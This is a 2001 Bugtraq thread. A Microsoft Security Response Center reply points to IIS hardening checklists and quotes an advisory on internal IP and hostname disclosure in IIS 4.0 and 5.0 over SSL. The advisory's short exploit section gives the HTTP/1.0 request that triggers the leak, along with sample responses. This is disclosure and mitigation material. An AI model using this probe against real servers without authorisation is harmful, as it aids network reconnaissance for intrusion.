RE: Internal IP Address Disclosure in Microsoft-IIS 4.0 & 5.0

["Microsoft Security Response Center" <secure () microsoft com>]

The checklists for securing IIS4 and IIS5 discuss this issue.
Specifically:

"Disable IP Address in Content-Location 
The Content-Location header may expose internal IP addresses that are
usually hidden or masked behind a Network Address Translation (NAT)
Firewall or proxy server. Refer to Q218180 for further information about
disabling this option."

The referenced Knowledge Base Article contains information on how to
force IIS to use the FQDN instead of the IP address.  

(Q218180) Internet Information Server Returns IP Address in HTTP Header
(Content-Location) -
http://support.microsoft.com/directory/article.asp?id=KB;EN-US;Q218180
"There is a value that can be modified in the IIS metabase to change the
default behavior from exposing IP addresses to send the FQDN instead.
This allows the IP address to be masked by the domain name."


The IIS4 checklist is available here:
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/itsol
utions/security/tools/iischk.asp

And the IIS5 checklist here:
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/itsol
utions/security/tools/iis5chk.asp

Regards,

Secure () Microsoft com

-----Original Message-----
From: Marek Roy [mailto:marek_roy () hotmail com] 
Sent: Tuesday, August 07, 2001 9:55 PM
To: bugtraq () securityfocus com
Subject: Internal IP Address Disclosure in Microsoft-IIS 4.0 & 5.0


GGS-AU / e-Synergies Security Advisory

August 8, 2001



Internal IP Address Disclosure in Microsoft-IIS 4.0 & 

5.0



Synopsis:



e-Synergies has discovered and researched remote 

vulnerability in Internet Information Server from 

Microsoft.  Successful

exploitation of this vulnerability can reveal critical 

internal information such as Internal IP Address or 

Internal host name.



Affected Versions:



Microsoft IIS 4.0 running SSL

Microsoft IIS 5.0 running SSL



Description:



By connecting manually to port TCP/443 (SSL) using 

Perl(SSLeay) or any other tools, a remote user has 

the ability to retrieve

Internal IP address or reveal the machine's network 

node hostname.



Exploit:



1-      Browse the web site using a normal SSL 

browser and find any directory. I.E.: 

https://www.target.com/images/icon.gif



2-      Using a compatible SSL Perl script, execute the 

following command once connected to port 443 of 

www.target.com:



        GET /images HTTP/1.0



3-      The result should look like this:



        HTTP/1.1 302 Object Moved

        Location: https://192.168.1.10/images/

        Server: Microsoft-IIS/4.0

        Content-Type: text/html

        Content-Length: xxx



        or



        HTTP/1.1 302 Object Moved

        Location: https://netbiosname/images/

        Server: Microsoft-IIS/4.0

        Content-Type: text/html

        Content-Length: xxx



Remarks:



Using HTTP/1.1 instead of HTTP/1.0 will not give the 

same result.



Credits:



Marek Roy

Senior IT Security Consultant



Please send suggestions, updates, and comments to:



GGS-AU / e-synergies, Sydney, Australia 



Level 9

65 York Street

Sydney NSW 2001

Australia



Phone: +61 2 9279 2533

Fax: +61 2 9279 2544

Email: enquiries () ggs-au com

http://www.ggs-au.com